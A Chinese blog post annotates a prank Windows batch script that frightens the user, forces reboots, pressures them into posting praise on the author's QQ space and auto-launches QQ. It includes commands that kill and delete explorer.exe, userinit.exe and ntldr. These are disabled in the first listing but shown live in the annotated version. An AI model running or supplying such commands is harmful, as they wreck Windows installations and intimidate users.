恶作剧批处理(bat)代码解析
无关的话:
翻找资料时,发现了自己小时候保存到网盘里的一个恶作剧程序。碰巧最近刚看完shell命令,正好对该程序进行注释
什么是bat文件:
bat文件是dos下的批处理文件。批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下输入批处理文件的名称,或者双击该批处理文件,系统就会调用cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。
其实就是一堆dos命令,类似于linux的shell
步骤:
- 新建一个文本文件
- 用记事本打开输入以下代码
- 代码(关于修改系统文件的命令已经被注释),保存更改扩展名为.bat
@echo off
color 00
echo ping www.baidu.com > d:\小小木马.exe::下面的几行代码要杀死explorer.exe进程并删除,删除explorer.exe文件不容恢复,所以被我注释掉了
::taskkill /f /im explorer.exe
::taskkill /f /im qq.exe
::ren %SystemRoot%\explorer.exe killer.dll
::del /f /s /q %SystemRoot%\explorer.execls
echo.
echo 哈哈哈!好开心呐!又有人中招了。
echo.
echo 不过别担心,我可不是坏人,嘿嘿!O(∩_∩)O
echo.
echo 这个界面还挺温馨的吧?好歹我也会考虑下中标者的心理对吧?
echo.
echo 别把我的窗口关掉,也别关机,信不信由你(警告)。
echo.
echo 下面给你一个选择,请慎重。echo.
set /p AA=请键入Y(相信我)或者N(不相信)后按回车(y/n):
if /i "%AA%"=="y" goto hui
if /i "%AA%"=="n" goto no
cls
echo 你放弃了选择或者键入错误!
pause:no::下面要删除killer.dll和userinit.exe也被我注释掉了
::del %SystemRoot%\killer.dll
::del /f /s /q %SystemRoot%\system32\userinit.execls
echo 既然你不相信我,那我也没什好说的了。
echo.
echo 别以为我只会干坏事,如果你相信我,那么一切都会没事的。
echo.
echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\小小木马.exe >>a.bat
echo del a.txt >>a.bat
echo del 90后男生的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
shutdown -r -t 00
start a.bat
exit:hui
cls
echo 哈哈,谢谢你相信我,你的选择是正确的。
echo.
echo 不过,你必须得按照我的提示完成以下步骤才行。
echo.
echo 等你完成了我的要求,我自然会把你的系统给恢复了。
echo.
echo 我善解人意吧?
echo.
echo 你要记住,在没有完全结束程序之前,你必须对我是友善的。
echo.
echo 不难吧?呵呵O(∩_∩)O
pause
echo %date% >a.txt & echo %time% >>a.txt
echo 哈哈,小样,中招了吧? >>a.txt
echo 不过你别担心,我不会对你怎么样,最主要的是你现在得听我的! >>a.txt
echo 听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。 >>a.txt
echo 登陆你的QQ,然后点击查找,输入我的QQ号:******. >>a.txt
echo 点击查看资料,然后点击我的空间,然后在我的留言板留10次"你好帅” >>a.txt
echo 我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。 >>a.txt
echo 现在可以关掉这记事本了。O(∩_∩)O >>a.txt
::for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n"
start a.txt
cls
echo 登陆你的QQ并且留言后执行下一步。
pause
cls
echo 呵呵,游戏到此也快结束了,放心,待会儿你的系统就会恢复了。
echo.
echo 但是!我还想在玩一个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿!
echo.
echo 下面,请你做一个最关键的选择,记住,要慎重。
echo.
echo.
:no1
set /p BB=请键入Y(你好帅)或者N(你一点都不帅)后按回车(y/n):
if /i "%BB%"=="y" goto no3
if /i "%BB%"=="n" goto no2
cls
echo 你放弃了选择或者键入错误!
pause
goto no1
:no2::del %SystemRoot%\killer.dll
::del /f /s /q %SystemRoot%\system32\userinit.exe
::attrib -r -s -h %SystemDrive%\ntldr % del %SystemDrive%\ntldrcls
echo 我操,我靠,难道我不帅吗?你怎么知道我不帅了啊?
echo.
echo 能把这小东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
echo.
echo 我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
echo.
echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\小小木马.exe >>a.bat
echo del a.txt >>a.bat
echo del 90后男生的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
shutdown -r -t 00
start a.bat
exit
:no3
cls
echo.
echo 哈哈,谢谢你,我知道我挺帅的,不过还是想满足下自己的虚荣心。嘿嘿
echo.
echo 我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
echo.
echo 下一步,按任意键恢复你的系统吧。
echo.
echo.
echo.
pause::ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe
::del %SystemRoot%\killer.dllcls
echo 桌面出来了吧?哈哈,恭喜你过关。
echo.
echo 不过你别急着关了我这个程序,为什么呢?
echo.
echo 因为.............
echo.
echo 你看看你的D盘底下是不是多了样东西呢?
echo.
echo 想知道是什么吗?按任意键你就知道了。
echo.
pause
echo @echo off >a.bat
echo del d:\小小木马.exe >>a.bat
echo del a.txt >>a.bat
echo del 90后男生的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
start a.bat
注释(//之后的是注释):
@echo off //不显示命令
color 00 //命令框的颜色
echo ping www.baidu.com > d:\小小木马.exe //ping百度把结果存放到 d:\小小木马.exe
taskkill /f /im explorer.exe //杀死explorer.exe进程 // explorer.exe进程用来显示系统的桌面环境taskkill /f /im qq.exe //杀死qq.exe进程
ren %SystemRoot%\explorer.exe killer.dll //把explorer.exe重命名为kille.dll
del /f /s /q %SystemRoot%\explorer.exe //删除explorer.exe
clsecho. //输出
echo 哈哈哈!好开心呐!又有人中招了。
echo.
echo 不过别担心,我可不是坏人,嘿嘿!O(∩_∩)O
echo.
echo 这个界面还挺温馨的吧?好歹我也会考虑下中标者的心理对吧?
echo.
echo 别把我的窗口关掉,也别关机,信不信由你(警告)。
echo.
echo 下面给你一个选择,请慎重。:shi
echo.
set /p AA=请键入Y(相信我)或者N(不相信)后按回车(y/n):
if /i "%AA%"=="y" goto hui //输入y跳转到hui相关代码
if /i "%AA%"=="n" goto no //输入n跳转到no
cls
echo 你放弃了选择或者键入错误!
pause
goto shi //输入错误会重复执行 shi
:nocls //清屏
echo 既然你不相信我,那我也没什好说的了。
echo.
echo 别以为我只会干坏事,如果你相信我,那么一切都会没事的。
echo.
echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
shutdown -r -t 00 //关机
exit //退出:hui
cls //清屏
echo 哈哈,谢谢你相信我,你的选择是正确的。
echo.
echo 不过,你必须得按照我的提示完成以下步骤才行。
echo.
echo 等你完成了我的要求,我自然会把你的系统给恢复了。
echo.
echo 我善解人意吧?
echo.
echo 你要记住,在没有完全结束程序之前,你必须对我是友善的。
echo.
echo 不难吧?呵呵O(∩_∩)O
pause//把下面内容存入a.txt中
echo %date% >a.txt & echo %time% >>a.txt
echo 哈哈,小样,中招了吧? >>a.txt
echo 不过你别担心,我不会对你怎么样,最主要的是你现在得听我的! >>a.txt
echo 听懂了吗?呵呵。我正在监视你的电脑,所以别乱动。 >>a.txt
echo 登陆你的QQ,然后点击查找,输入我的QQ号:*****. >>a.txt
echo 点击查看资料,然后点击我的空间,然后在我的留言板留10次“你好帅” >>a.txt
echo 我是不会盗你的QQ号的。因为这没意思,我玩的是好玩的游戏。 >>a.txt
echo 现在可以关掉这记事本了。O(∩_∩)O >>a.txt//在本地查找qq的路径 并运行
for %%i in (c,d,e,f) do for /f "delims=" %%n in ('dir /s /b %%i:\qq.exe') do start "" "%%n"
start a.txt //打开a.txt
cls
echo 登陆你的QQ并且留言后执行下一步。
pause
cls
echo 呵呵,游戏到此也快结束了,放心,待会儿你的系统就会恢复了。
echo.
echo 但是!我还想在玩一个选择游戏,如果你正确的通关了,我就把你的系统恢复了,嘿!
echo.
echo 下面,请你做一个最关键的选择,记住,要慎重。
echo.
echo.:no1
set /p BB=请键入Y(你好帅)或者N(你一点都不帅)后按回车(y/n):
if /i "%BB%"=="y" goto no3 //输入y跳转到no3
if /i "%BB%"=="n" goto no2 //输入n跳转到no2
cls
echo 你放弃了选择或者键入错误!
pause
goto no1 //输入其他跳转no1:no2 //no2代码
cls
echo 我操,我靠,难道我不帅吗?你怎么知道我不帅了啊?
echo.
echo 能把这小东西做到这样难道我不帅吗?你知道这样会让你的系统崩溃吗?
echo.
echo 我都说了要你慎重选择的,可是你偏偏选错了,没办法。╮(╯▽╰)╭唉
echo.
echo 下一步,请按任意键重启吧!唉╮(╯▽╰)╭
pause
echo @echo off >a.bat
echo del d:\小小木马.exe >>a.bat
echo del a.txt >>a.bat
echo del 90后男生的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
start a.bat
shutdown -r -t 00 //关机exit:no3 //no3代码
cls
echo.
echo 哈哈,谢谢你,我知道我挺帅的,不过还是想满足下自己的虚荣心。嘿嘿
echo.
echo 我真帅!O(∩_∩)O哈哈,滋滋,帅到掉渣吧?
echo.
echo 下一步,按任意键恢复你的系统吧。
echo.
echo.
echo.
pause//把killer.dll重命名成explorer
ren %SystemRoot%\killer.dll explorer.exe & start %SystemRoot%\explorer.exe
del %SystemRoot%\killer.dll //删除killer.dllcls
echo 桌面出来了吧?哈哈,恭喜你过关。
echo.
echo 不过你别急着关了我这个程序,为什么呢?
echo.
echo 因为.............
echo.
echo 你看看你的D盘底下是不是多了样东西呢?
echo.
echo 想知道是什么吗?按任意键你就知道了。
echo.
pause
exit
恶作剧批处理(bat)代码解析相关推荐
- bat转exe软件图文教程批处理bat转换为exedos脚本代码加密
网上bat转exe的相关的软件有几款,我这里就用软件这个演示一下,图片上有名字,大家可以下载一下. 软件运行之后,默认的界面儿是英文界面,我们可以把它修改为中文的界面,点击上方菜单栏的language ...
- bat脚本中获取上级目录_批处理bat命令 获取当前盘符和当前目录和上级目录的代码...
批处理命令获取当前盘符和当前目录 当前盘符:%~d0 当前路径:%cd% 当前执行命令行:%0 当前bat文件路径:%~dp0 当前bat文件短路径:%~sdp0 测试 echo 当前盘符:%~d0 ...
- 计算机清除服务命令,计算机Dos批处理命令,一键清理Windows系统垃圾的bat代码...
通过计算机Dos批处理命令,编写一键清理Windows系统垃圾的bat代码,简单易懂,小白也可以学学. [新建记事本]-[复制代码]-[粘贴代码]-[重名名记事本,后缀名为bat] 开始时,选择是否清 ...
- 计算机dos批处理代码,计算机Dos批处理,编写一键清理系统垃圾的bat代码,小白都可以学-批处理删除文件...
计算机Dos批处理,编写一键清理系统垃圾的bat代码,编写自己清理系统的代码,就是这样简单. 关于代码怎么使用: [新建文本文件(记事本)]-[复制代码]-[粘贴代码]-[重命名文本文件后缀名为bat ...
- 批处理获取当前系统日期及时间及星期转换为数字并加以格式美化的bat代码
代码如下: @echo off&setlocal enabledelayedexpansion ::批处理获取当前系统日期及时间并格式美化的bat代码 echo 读取系统日期和时间(普通) e ...
- Windows批处理bat常用命令教程
批处理文件(batch file)包含一系列 DOS命令,通常用于自动执行重复性任务.用户只需双击批处理文件便可执行任务,而无需重复输入相同指令.编写批处理文件非常简单,但难点在于确保一切按顺序执行. ...
- php 删除其他盘符,Linux_自动清除电脑垃圾及删除windows默认共享盘符的批处理bat,by:zuifeng258Windows在默认情况下 - phpStudy...
自动清除电脑垃圾及删除windows默认共享盘符的批处理bat by:zuifeng258 Windows在默认情况下几个盘多是共享的,它们是隐藏的危险. 在dos下用命令"net shar ...
- vbs服务器bat文件,自动以管理员身份运行批处理bat文件(vbs与bat两种方法)
但是,批处理脚本不会默认已管理员身份运行,一般情况下,我会将脚本命名为"XXXXXX(请右键点击,用管理员身份运行!).bat",但总有些用户会忽略这条提示,直接运行,此时由于权限 ...
- 制作批处理(bat)文件一键安装MongoDB并给其设置账号及权限
制作批处理.bat文件一键安装MongoDB并给其设置账号及权限 下载MongoDB安装包 创建批处理(bat)文件,安装MongoDB 批处理文件设置MongoDB权限账号 下载MongoDB安装包 ...
- 服务器定时任务vbs文件,自动以管理员身份运行批处理bat文件(vbs与bat两种方法)...
但是,批处理脚本不会默认已管理员身份运行,一般情况下,我会将脚本命名为"XXXXXX(请右键点击,用管理员身份运行!).bat",但总有些用户会忽略这条提示,直接运行,此时由于权限 ...
最新文章
- Python 途虎养车全系车型轮毂--参数分析与实现
- java 图片分段上传_java文件分片上传,断点续传
- ppp chap 加密摘要_“网络工程师培训”基础教程:一文读懂PPP协议
- Nodejs基础中间件Connect
- C# 快捷键/hotkey简单例子
- python2.7.10安装教程_Linux系统(CentOS)下python2.7.10安装
- 学籍管理系统系统流程图
- Spring data JPA方法命名规则
- Redis 5种数据结构使用及注意事项
- 开源的电信堆栈软件 FreeSwitch 中存在五个漏洞
- 身份证验证Java代码
- 单片机python教程推荐_有Python基础的小白如何学习单片机?
- wps不能打印_除了office/wps,还有一些好用的办公软件推荐给你
- 机智是一项无价的处世技巧(双语)
- 基于SpringBoot开发的商城后台管理系统
- 【神兵利器】你是否也想生成这样有逼格的代码图?
- mathworks matlab r2018b更新日志
- 气动调节阀的安装细节以及技巧
- 【2021】阿里巴巴编程题(4星)
- 全国计算机考试励志语,我参加计算机等级考试的经历(二级)